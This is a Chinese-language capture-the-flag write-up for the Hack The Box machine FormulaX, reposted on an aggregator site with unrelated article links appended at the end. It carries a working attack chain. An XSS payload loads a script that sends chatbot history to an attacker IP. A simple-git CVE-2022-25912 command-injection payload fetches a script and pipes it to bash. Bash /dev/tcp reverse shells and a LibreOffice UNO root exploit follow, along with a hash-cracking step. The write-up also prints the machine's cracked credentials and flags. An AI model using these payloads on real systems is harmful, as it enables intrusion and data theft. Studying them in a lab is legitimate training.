[Meachines][Hard]FormulaX

Main

$ nmap -sC -sV 10.10.11.6 --min-rate 1000

image.png

# echo '10.10.11.6 formula.htb'>>/etc/hosts

创建一个新用户,登录

image.png

来到聊天窗口,发现普通用户无法使用

image.png

来到联系页面,测试跨站

image.png

{"first_name":"<img src='http://10.10.16.6/s-h4ck13'/>","last_name":"2","message":"2"}

image.png

这里无法获取cookie,因为开启了httponly,

image.png

幸运的是服务器开启了跨域资源访问

image.png

在聊天窗口获取到了Chatbot发送消息的源码

image.png

我们通过XSS对管理员进行CSRF攻击,泄露Chatbot的历史记录

//s-h4ck13.js
//利用Websocket来和机器人交互
const script = document.createElement('script');
script.src = '/socket.io/socket.io.js';
document.head.appendChild(script);
script.addEventListener('load', function() {
	const res = axios.get(`/user/api/chat`);
	const socket = io('/',{withCredentials: true});
	socket.on('message', (my_message) => {
		fetch("http://10.10.16.6/?data=" + my_message)
		});
	socket.emit('client_message', 'history');
});

{"first_name":"<img src=x onerror=\"with(top)body.appendChild (createElement('script')).src='http://10.10.16.6/s-h4ck13.js'\">","last_name":"2","message":"2"}

利用管理员身份获取了Chatbot的历史记录

image.png

image.png

获取到了一个新的子域名

# echo '10.10.11.6 dev-git-auto-update.chatbot.htb'>>/etc/hosts

image.png

image.png

通过漏洞库搜索Simple-git在3.15之前存在一个RCE漏洞
CVE-2022-25912
image.png

image.png

const simpleGit = require('simple-git')
const git2 = simpleGit()
git2.clone('ext::sh -c touch% /tmp/pwn% >&2', '/tmp/example-new-repo', ["-c", "protocol.ext.allow=always"]);
# reverse.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.16.6/10032 0>&1

在Remote Git Url栏中输入payload

ext::sh -c curl% http://10.10.16.6/reverse.sh|bash

image.png

$ netstat -lnput

可以看到MariaDB(3306),mongoDB(27017)数据库开放,我们在web目录下寻找数据库配置文件

image.png

$ find ./ -type f -name '*db*' | while read -r file; do filename=$(basename "$file") if [ ${#filename} -le 15 ]; then echo "$file" fi done

image.png

$ cat ./app/configuration/connect_db.js

image.png

我们没有访问MariaDB的权限,但是可以访问mongoDB

image.png

> use testing
> show collections
> db.users.find()

image.png

image.png

恰好frank_dorky用户也存在该主机

$2b$10$hrB/by.tb/4ABJbbt1l4/ep/L4CTY6391eSETamjLp7s.elpsB4J6

$ echo "\$2b\$10\$hrB/by.tb/4ABJbbt1l4/ep/L4CTY6391eSETamjLp7s.elpsB4J6">hash

$ hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt

image.png

image.png

username:frank_dorky
password:manchesterunited

image.png

User Flag

$ cat /home/frank_dorky/user.txt

image.png

e079c692881778c3880454b025b906b0

Root Flag

权限不足

image.png

$ netstat -lnput

在之前3000端口上开放了一个web服务

image.png

image.png

我们通过ssh进行隧道代理把3000端口映射到kali

[kali]

$ ssh -L 3000:127.0.0.1:3000 frank_dorky@10.10.11.6

image.png

https://github.com/librenms/librenms
LibreNMS 是一个开源的网络监控系统,用于监控网络设备、服务器和服务的性能和状态。它提供了广泛的功能,包括自动发现、性能图表、警报通知、日志记录和自定义报告等,可帮助网络管理员和运维人员实时监控和管理其网络基础设施
image.png

在/opt/librenms 目录有一些LibreNMS官方提供调试脚本,可供测试

但是frank_dorky用户和www-data用户均无法ls读取这个目录内文件,但是可以进入该目录执行脚本

image.png

$ ./validate.php

可以确定版本是22.10.0

image.png

在披露中,我们可以通过/opt/librenms/config_to_json.php来获取数据库的配置

image.png

kai_relay这个用户在我们的/etc/passwd也存在

image.png

username:kai_relay
password:mychemicalformulaX

再次通过ssh登录kai_relay用户

image.png

$ groups;id;sudo -l

image.png

$ cat /usr/bin/office.sh

image.png

在无界面模式下启动 LibreOffice 或 OpenOffice 的 Calc(电子表格程序),并且通过指定的端口接受连接请求,不恢复以前的文档,不显示 logo,并且不使用默认模板。

将exp.py上传到服务器

# exp.py
#! /usr/bin/env python3
import uno
from com.sun.star.system import XSystemShellExecute

local = uno.getComponentContext()
resolver = local.ServiceManager.createInstanceWithContext("com.sun.star.bridge.UnoUrlResolver", local)
context = resolver.resolve("uno:socket,host=localhost,port=2002;urp;StarOffice.ComponentContext")
rc = context.ServiceManager.createInstance("com.sun.star.system.SystemShellExecute")
rc.execute("bash", "/tmp/reverse.sh", 1)
# reverse.sh
bash -i >& /dev/tcp/10.10.16.6/10034 0>&1

[靶机]
$ cd /tmp
$ curl http://10.10.16.6/exp.py -O;chmod +x exp.py
$ curl http://10.10.16.6/reverse.sh -O;chmod +x reverse.sh
image.png
$ sudo /usr/bin/office.sh
image.png

再开一个ssh

$ cd /tmp
$ netstat -lnput
可以看到127.0.0.1:2002开放了
$ python3 exp.py

image.png

image.png

838cf791e70b35799984bae602e49f0e

在/opt/librenms中存在一个添加用户的php文件,你可以用./addUser.php username password 来进行添加用户,然后对3000端口web服务进行getshell,但是对于本实验中没有太大的用处

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/585266.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

form1弹出子窗体form2,拖动子窗体判断是否离开父窗体区域,含源码(学习笔记)

一、效果&#xff08;进入和离开&#xff09; 子窗体到达父窗体边缘时变色。 二、代码分析 判断父窗体的目的&#xff0c;可以控制子窗体要随父窗体走。上面代码需要加以处理。 如&#xff1a;this.Location new Point(parentPoint.X distanceFromEdge, this.Location.Ydis…

给rwkv_pytorch增加rag

RAG 参考地址语义模型地址选择该模型使用方法方法二安装方法下载模型到本地材料材料处理语义分割计算得分根据得分 分割文本 构建向量数据库问答匹配问答整合 参考地址 RAG简单教程 分割策略 语义模型地址 hf 选择该模型 gte 使用方法 import torch.nn.functional as F…

AQS共享模式之CyclicBarrier

概念&#xff1a;CyclicBarrier翻译为循环(屏障/栅栏)&#xff0c;当一组线程到达一个屏障&#xff08;同步点&#xff09;时被阻塞&#xff0c;直到最后一个线程到达屏障时&#xff0c;屏障才会打开&#xff0c;所有被屏障拦截的线程才会继续工作。 设计目的&#xff1a;和Co…

当你老了:献给40岁以上还在求职的朋友

怪盗团团长按&#xff1a;本文作者是我的一位老朋友&#xff0c;他已经年过四十&#xff0c;在国内职场&#xff0c;算是不折不扣的中老年人了。难能可贵的是&#xff0c;最近他还换了工作&#xff0c;去了一个自己不熟悉的新行业奋斗。 我一直很纳闷&#xff0c;为何在中国&am…

该安装包不适配当前高性能处理器 请使用 64 位安装包

今天一台用户的一台手机报错&#xff0c;如下&#xff1a; 该安装包不适配当前高性能处理器 请使用 64 位安装包 查了下&#xff0c;网上也有人反馈该问题 https://ask.dcloud.net.cn/question/186865 最后在贴吧上发现答案&#xff1a;https://tieba.baidu.com/p/8773132859 …

Bluetooth Profile 蓝牙协议栈总结

GAP-Generic Access Profile 控制设备广播和连接 GAP profile 的目的是描述&#xff1a; Profile rolesDiscoverability modes and proceduresConnection modes and proceduresSecurity modes and procedures 设备连接过程 LE中GAP有4种角色&#xff1a;BroadcasterObserv…

使用groovy+spock优雅的进行单测

使用groovyspock优雅的进行单测 1. groovyspock示例1.1 简单示例1.2 增加where块的示例1.3 实际应用的示例 2. 单测相关问题2.1 与SpringBoot融合2.2 单测数据与测试数据隔离2.3 SQL自动转换&#xff08;MySQL -> H2&#xff09; 参考 Groovy是一种基于JVM的动态语言&#x…

LVGL自定义滑动

触摸和编码器都可以操作 typedef struct {lv_obj_t* obj;int16_t x;int16_t y;int16_t width;int16_t height; }pos_and_size_t;typedef struct {lv_obj_t* obj;lv_coord_t height;lv_coord_t width;lv_coord_t width_pad;lv_coord_t height_pad;lv_coord_t child_widget;lv_co…

2024王炸组合!基于Mamba的遥感图像处理引爆顶会!

对比传统方法&#xff0c;基于Mamba的遥感图像处理在计算效率和分析精度方面遥遥领先&#xff0c;Mamba遥感也成为了论文研究的新方向。 具体来说&#xff0c;在融合高分辨率的空间图像和低分辨率的光谱图像获取综合信息方面&#xff0c;Mamba可以提升性能&#xff0c;同时保持…

【Harmony3.1/4.0】笔记七-选项卡布局

概念 当页面信息较多时&#xff0c;为了让用户能够聚焦于当前显示的内容&#xff0c;需要对页面内容进行分类&#xff0c;提高页面空间利用率。Tabs组件可以在一个页面内快速实现视图内容的切换&#xff0c;一方面提升查找信息的效率&#xff0c;另一方面精简用户单次获取到的…

MySQL CRUD操作

前言&#x1f440;~ 上一章我们介绍了数据库的一些基础操作&#xff0c;关于如何去创建一个数据库&#xff0c;还有使用数据库&#xff0c;删 除数据库以及对表进行的一些基础操作&#xff0c;今天我们学习CRUD操作 俗称&#xff08;增删改查&#xff09; 如果各位对文章的内…

Objenesis 底层

Objenesis 简介 Objenesis 是一个 Java 库&#xff0c;用于在不调用构造方法的情况下创建对象。由于绕过了构造方法&#xff0c;所以无法调用构造方法中的初始化逻辑。相应的&#xff0c;Objenesis 无法创建抽象类、枚举、接口的实例对象。 起源 与其称之为起源&#xff0c;…

基于ST的STM32F407ZGT6嵌入式uCOS-III V3.08 操作系统工程实验

1.基于的开发板 2.原理图截图: 3.主控芯片框图与性能特点: High-performance foundation line, Arm Cortex-M4 core with DSP and FPU, 1 Mbyte of Flash memory, 168 MHz CPU, ART Accelerator, Ethernet, FSMC The STM32F405xx and STM32F407xx family is based on the high…

多家企业机密数据遭Lockbit3.0窃取,亚信安全发布《勒索家族和勒索事件监控报告》

本周态势快速感知 本周全球共监测到勒索事件87起&#xff0c;与上周相比勒索事件大幅下降。美国依旧为受勒索攻击最严重的国家&#xff0c;占比45%。 本周Cactus是影响最严重的勒索家族&#xff0c;Lockbit3.0和Bianlian恶意家族紧随其后&#xff0c;从整体上看Lockbit3.0依旧…

Meltdown 以及Linux KPTI技术简介

文章目录 前言一、Introduction二、 Background2.1 Out-of-order execution2.2 Address Spaces2.3 Cache Attacks 三、A Toy Example四、Building Blocks of the Attack4.1 Executing Transient Instructions4.2 Building a Covert Channel 五、Meltdown5.1 Attack Description…

深度学习之视觉特征提取器——LeNet

LeNet 引入 LeNet是是由深度学习巨头Yann LeCun在1998年提出&#xff0c;可以算作多层卷积网络在图像识别领域的首次成功应用。我们现在通常说的LeNet是指LeNet-5&#xff0c;最早的LeNet-1在1988年即开始研究&#xff0c;前后持续十年之久。但是&#xff0c;受限于当时计算机…

c++初阶——类和对象(下)

大家好&#xff0c;我是小锋&#xff0c;今天我们来学习我们类和对象的最后一个章节&#xff0c;我们本期的内容主要是类和对象的一些细节进行讲解 再谈构造函数 我们在初始化时有两种方式一种是函数体内初始化&#xff0c;一种是初始化列表 我们先来看看日期类的初始化 构造…

[机缘参悟-166] :周期论:万物的周期现象是这个世界有序性和稳定性保障;超越周期:在轮回中,把握周期节奏。

目录 前言&#xff1a;超越周期 一、周期是大自然和宇宙的规律&#xff0c;是天道 1.1 概述 1.2 万物的周期规律的现象 1.3 电磁波的周期 二、计算机世界中的周期性 三、佛家的生命轮回规律 四、人类社会发展的周期规律 五、经济活动的周期规律 5.1 概述 5.2 股市的…

Ieetcode——21.合并两个有序链表

21. 合并两个有序链表 - 力扣&#xff08;LeetCode&#xff09; 合并两个有序链表我们的思路是创建一个新链表&#xff0c;然后遍历已知的两个有序链表&#xff0c;并比较其节点的val值&#xff0c;将小的尾插到新链表中&#xff0c;然后继续遍历&#xff0c;直到将该两个链表…

C语言实验-函数与模块化程序设计

一&#xff1a; 编写函数fun&#xff0c;其功能是&#xff1a;输入一个正整数&#xff0c;将其每一位上为偶数的数取出重新构成一个新数并输出。主函数负责输入输出&#xff0c;如输入87653142&#xff0c;则输出8642。&#xff08;main函数->fun函数&#xff09; #define _…
最新文章